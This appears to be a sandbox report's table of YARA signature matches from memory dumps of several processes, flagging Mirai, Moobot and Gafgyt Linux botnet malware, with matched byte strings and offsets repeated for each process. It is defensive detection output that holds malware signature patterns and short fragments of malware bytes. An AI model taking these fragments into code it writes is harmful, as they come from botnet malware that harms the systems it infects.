6581.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6581.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6581.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6581.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6581.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6581.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6480.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6526.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6526.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6526.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6526.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6526.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6526.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6758.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6758.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6758.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6758.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6758.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6758.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6635.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6635.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6635.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6635.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6635.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6635.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7342.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7342.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7342.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7342.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7342.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7342.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6625.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6625.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6625.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6625.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6625.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6625.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7261.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7261.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7261.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7261.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
